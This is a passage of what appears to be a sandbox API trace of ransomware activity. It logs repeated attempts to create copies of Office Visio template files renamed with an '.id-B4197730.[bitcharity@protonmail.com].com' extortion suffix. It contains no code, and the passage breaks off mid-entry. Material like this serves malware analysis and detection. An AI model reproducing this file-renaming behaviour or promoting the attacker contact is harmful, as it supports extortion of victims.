[0278.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\SUBPROCESSFLOWCHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\subprocessflowchart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.503] CloseHandle (hObject=0x115c) returned 1 [0278.504] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.504] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UMLSEQUENCE_INTERACTIONFRAME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\umlsequence_interactionframe_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.504] CloseHandle (hObject=0x115c) returned 1 [0278.505] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.505] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UMLSEQUENCE_LOOP_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\umlsequence_loop_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.505] CloseHandle (hObject=0x115c) returned 1 [0278.506] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.506] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UMLSEQUENCE_LOOP_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\umlsequence_loop_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.506] CloseHandle (hObject=0x115c) returned 1 [0278.507] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.507] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UML_CLASS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uml_class_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.507] CloseHandle (hObject=0x115c) returned 1 [0278.511] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.511] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UML_CLASS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uml_class_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.511] CloseHandle (hObject=0x115c) returned 1 [0278.512] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.512] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UML_USECASE_DEPENDENCIES_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uml_usecase_dependencies_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.512] CloseHandle (hObject=0x115c) returned 1 [0278.513] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.513] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UML_USECASE_DEPENDENCIES_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uml_usecase_dependencies_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.513] CloseHandle (hObject=0x115c) returned 1 [0278.513] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.513] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UML_USECASE_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uml_usecase_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.514] CloseHandle (hObject=0x115c) returned 1 [0278.515] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.515] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UML_USECASE_SUBSYSTEM_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uml_usecase_subsystem_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.515] CloseHandle (hObject=0x115c) returned 1 [0278.516] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.516] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UML_USECASE_SUBSYSTEM_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uml_usecase_subsystem_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.516] CloseHandle (hObject=0x115c) returned 1 [0278.517] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.517] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UML_USECASE_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uml_usecase_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.517] CloseHandle (hObject=0x115c) returned 1 [0278.518] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.518] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USEQME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\useqme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.518] CloseHandle (hObject=0x115c) returned 1 [0278.519] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.519] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USEQME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\useqme_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.519] CloseHandle (hObject=0x115c) returned 1 [0278.520] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.520] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USEQME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\useqme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.520] CloseHandle (hObject=0x115c) returned 1 [0278.521] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.521] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USEQME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\useqme_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.521] CloseHandle (hObject=0x115c) returned 1 [0278.521] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.522] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USTAME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ustame_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.522] CloseHandle (hObject=0x115c) returned 1 [0278.523] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.523] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USTAME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ustame_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.523] CloseHandle (hObject=0x115c) returned 1 [0278.524] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.524] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USTAME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ustame_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.524] CloseHandle (hObject=0x115c) returned 1 [0278.525] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.525] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USTAME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ustame_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.525] CloseHandle (hObject=0x115c) returned 1 [0278.526] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.526] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USTRME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ustrme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.526] CloseHandle (hObject=0x115c) returned 1 [0278.527] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.527] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USTRME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ustrme_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.527] CloseHandle (hObject=0x115c) returned 1 [0278.528] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.528] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USTRME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ustrme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.529] CloseHandle (hObject=0x11b4) returned 1 [0278.530] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.530] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\USTRME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ustrme_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.530] CloseHandle (hObject=0x11b4) returned 1 [0278.531] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.531] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UUSEME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uuseme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.531] CloseHandle (hObject=0x11b4) returned 1 [0278.532] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.532] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UUSEME_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uuseme_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.532] CloseHandle (hObject=0x11b4) returned 1 [0278.533] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.533] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UUSEME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uuseme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.533] CloseHandle (hObject=0x11b4) returned 1 [0278.534] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.534] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\UUSEME_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\uuseme_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.534] CloseHandle (hObject=0x11b4) returned 1 [0278.535] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.535] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VALVE1_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\valve1_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.535] CloseHandle (hObject=0x11b4) returned 1 [0278.536] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.536] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VALVE1_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\valve1_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.536] CloseHandle (hObject=0x11b4) returned 1 [0278.536] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.536] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VALVE2_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\valve2_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.537] CloseHandle (hObject=0x11b4) returned 1 [0278.538] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.538] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VALVE2_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\valve2_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.538] 